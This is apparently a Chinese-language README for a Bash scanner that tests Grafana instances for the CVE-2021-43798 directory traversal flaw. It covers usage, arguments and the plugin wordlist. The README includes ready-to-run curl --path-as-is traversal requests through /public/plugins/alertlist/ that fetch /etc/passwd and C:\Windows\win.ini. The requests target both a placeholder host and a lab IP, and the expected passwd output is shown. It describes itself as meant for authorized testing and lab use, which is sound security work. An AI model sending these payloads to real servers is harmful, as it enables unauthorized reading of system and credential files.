基于 Bash 的扫描器,枚举 Grafana 插件 ID,并通过尝试在易受攻击的实例上读取 /etc/passwd 或 win.ini 来测试 CVE-2021-43798 目录遍历漏洞。
一个基于 Bash 的小型工具,用于测试 Grafana 实例是否存在 CVE-2021-43798,这是一个影响存在漏洞的 Grafana 版本的目录遍历漏洞。
该工具枚举 Grafana 插件 ID,并使用 curl --path-as-is 测试目录遍历是否能够访问已知文件。
仅限授权安全测试和实验环境使用。
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
grafana-windows.sh:测试对 C:\Windows\win.ini 的访问grafana-linux.sh:测试对 /etc/passwd 的访问plugins.txt:包含枚举期间使用的 Grafana 插件 ID 的字典文件。curl检查 curl 是否已安装:
curl --version
使脚本可执行:
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh
CVE-2021-43798 是 Grafana 中的一个目录遍历漏洞。
存在漏洞的端点基于:
/public/plugins/<plugin-id>/
该漏洞可能允许遍历到预期插件目录之外。
使用 curl 测试时的关键部分是:
--path-as-is
如果没有此选项,客户端可能会在将路径发送到服务器之前对其进行规范化。
Windows 扫描器尝试获取:
C:\Windows\win.ini
该路径在 HTTP 请求中表示为:
Windows/win.ini
./grafana-windows.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
示例:
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt
你可以使用以下命令手动测试某个插件:
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
对于实验目标:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
成功的响应应包含 Windows INI 文件内容。
Linux 扫描器尝试获取:
/etc/passwd
./grafana-linux.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
通用示例:
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
对于实验目标:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
成功的 Linux 响应应包含类似以下内容的条目:
root:x:0:0:root:/root:/bin/bash
两个扫描器使用相同的基本参数:
u, --url:Grafana 基础 URLw, --wordlist:插件字典文件f, --file:要测试的文件h, --help:显示帮助